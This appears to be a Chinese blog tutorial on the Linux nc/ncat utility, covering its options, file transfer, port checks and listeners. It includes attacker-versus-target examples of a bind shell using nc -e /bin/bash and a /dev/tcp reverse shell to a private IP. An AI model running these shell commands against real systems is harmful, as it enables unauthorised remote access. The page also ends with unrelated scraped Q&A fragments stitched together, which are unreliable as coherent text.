- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
Ncat is a feature-packed networking utility which reads and writes data across networks from the command line; 。
nc(ncat) :Ncat是一个功能丰富的网络实用工具;支持端口监听、远程通信、文件传输、端口扫描、反向Shell、端口转发功能; 。
格式 :ncat [OPTIONS...] [hostname] [port] 。
常用参数:
OPTIONS | 意义 |
---|---|
-l | 使用监听模式,意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接 |
-p | 设置本地主机使用的通信端口 |
-s | 设置本地主机送出数据包的IP地址 |
-u | 使用UDP传输协议 |
-v | 显示指令执行过程 |
-w | 设置等待连线的时间 |
-z | 使用0输入/输出模式,只在扫描通信端口时使用 |
nc 、 netcat 、 ncat 区别:
netcat
和 ncat
的 -z
参数是不相等的; rpm -qa|grep nc
命令,查看nc是指netcat还是ncat; 参考案例:
# nc可用ncat代替
$ nc -nvv 192.168.3.1 80
# ncat 命令在20000端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口;
# 输出和输入都在此shell中展示
Server$ nc -l 20000
Client$ nc Server-IP 20000
# 从Client传输文件到Server
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 >> test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 < xxx.log
# 从Server传输文件到Client
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 < test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
# 从Client传输文件到Server上;需要在Server上使用nc监听,server上运行监听命令;
# tar zxvf - 通过tar zxvf解压,从管道接收到的数据,`-`表示从管道接收数据;
Server$ nc -l 23456|tar zxvf -
# tar zcvf - 通过tar zcvf压缩,将目录`Directory`压缩后传输到管道中;`-`表示输出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
# 一旦发现开放的端口,可以容易的使用ncat 连接服务抓取他们的banner
$ nc -v 172.31.100.7 21
正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机.
# 正向shell是目标机(被攻击方)先执行nc命令,然后攻击机(攻击方)上再进行nc连接,即可反弹shell
# 正向shell需要目标机安装nc
# 正向shell 需要目标机firewalld可过滤
# target: 目标服务器系统(被攻击方)
target$ nc -lkvp 7777 -e /bin/bash
# attack: 攻击者系统(攻击方)
attack$ nc Target-IP 7777
反向shell就是靶机带着shell来连攻击机,好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点;缺点就是攻击机的IP必须能支持靶机的主动寻址,换句话来说就是攻击机需要有公网IP地址;举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是网络环境的问题.
# attack: 攻击者系统(攻击方)
# -k: 当客户端从服务端断开连接后,过一段时间服务端也会停止监听;通过选项 -k 可以强制服务器保持连接并继续监听端口;即使来自客户端的连接断了server也依然会处于待命状态;
attack$ nc -lkvnp 6677
# target: 目标服务器系统(被攻击方)
# -i: 指定断开的时候,单位为秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
# 服务端
Server$ nc -l <port> > /dev/null
# 客户端
Client$ nc Server-IP <port> < /dev/zero
# 测试tcp端口连通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
# 测试udp端口连通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
# 临时监听TCP端口
# nc -l port >> filename.out 将监听内容输入到filename.out文件中
$ nc -l 7789 >> a.out
# 永久监听TCP端口
# nc -lk port
$ nc -lk 7789 >> a.out
# 临时监听UDP
# nc -lu port
$ nc -lu 7789 >> a.out
# 永久监听UDP
# nc -luk port
$ nc -luk 7789 >> a.out
最后此篇关于Linux命令篇-nc(ncat)命令的文章就讲到这里了,如果你想了解更多关于Linux命令篇-nc(ncat)命令的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
在 K&R 第 1 章中: The statement ++nc presents a new operator, ++, which means increment by one. You coul
我看过一些关于 .ssh/config 和 proxycommand 的博客 现在下一个命令之间有什么区别 ProxyCommand ssh proxyserver -W [%h]:%pProxyCo
这个问题是在这个问题之后:Sockets working in openSUSE do not work in Debian? 在我的 Debian 系统上使用套接字时,我必须使用 nc -l -p
我将用一个小例子来说明我面临的问题。 class TestProtocol(basic.LineReceiver): def lineReceived(self, line):
我需要在屏幕上的远程机器上启动 nc 并开始从屏幕上的另一台远程机器传输文件,我正在尝试使用 bash 脚本通过部署机器(jenkins)运行它 在远程机器 1 上,即 tester1: ssh -t
我在使用 nc 传输文件的奇怪情况上苦苦挣扎了很长时间,我使用以下 bash 脚本将文件从 A 机器传输到 B 机器,脚本似乎没问题,文件正在传输到 B 机器,但是文件的大小是 0 字节并且没有任何内
工具在使用过程中会出现磨损。使用这些工具的机器需要在测量磨损后纠正其 NC(即数控)程序。 我已经创建了一个 XSD 模型并生成了管理这些度量的 JAXB 类,现在我想自动生成 NC 代码来设置机器上
我尝试使用nc从shell获取zookeeper统计信息, 首先调用nc localhost 2181,然后输入:stat有效。 而回显“stat” | nc localhost 2181 什么也不返
所以我想制作一个类似于 Netcat (nc -l -v -p 2121) 的 Python 端口监听器。我环顾四周,却找不到我要找的东西。我只是希望能够通过 CLI 参数提供一个端口并监听该端口(p
问题是,当我使用上面代码中的 nc 语法从 CMD 打开 nc.exe 时,它可以工作并连接到我的服务器。但是当我通过我的程序(使用上面的代码)这样做时,它只是打开 nc.exe 窗口,但它不
我想知道如何从管道命令使用 stdout 然后在 nc 连接中使用它: | \ grep -oE '((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.){3}(1?[0-9
我想使用 nc 作为扩展回显服务器来回显十六进制缓冲区(保存在文件/tmp/data.hex 中)。当我说“扩展”时,我的意思是服务器不会在客户端连接后立即回显此缓冲区,而是仅在客户端发送一些信息后才
我得到了这个 .nc 文件。但是,当我这样阅读文件时 ncid = netcdf.open(ncfile) 它只给我一个数字。它应该包含一些数据。我不确定它有什么问题。 谁能提供一些信息? 最佳答案
我如何确定正在为网页提供服务的网络服务器软件(和版本)? 我正在使用 Linux,我需要 nc 的替代品。 最佳答案 尝试 nmap ,注意 -sV 选项。 关于linux - 如何确定哪些网络服务器
当我使用 nc 命令获得 HTTP 响应但结果不正确时。例如 $nc site.it 80 GET / HTTP/1.1 Host: site.it User-Agent: curl/7.54.0 A
关闭。这个问题不符合Stack Overflow guidelines .它目前不接受答案。 这个问题似乎不是关于 a specific programming problem, a softwar
nc (ncat) Ncat is a feature-packed networking utility which reads and writes data across networks
我的 httpd.conf 中有以下规则 RewriteEngine on RewriteBase / RewriteCond %{QUERY_STRING} pas
我对 bash 很陌生,我遇到了这段代码。 j=0 while ! nc -z "$host" "$port"; do j=$((j+1)) if [ $j -ge 10 ]; then
我正在尝试使用 netcat 发送广播消息。 我打开了防火墙并发送这样的常规消息对我有用: host: nc -l 192.168.1.121 12101 client: echo "hell
我是一名优秀的程序员,十分优秀!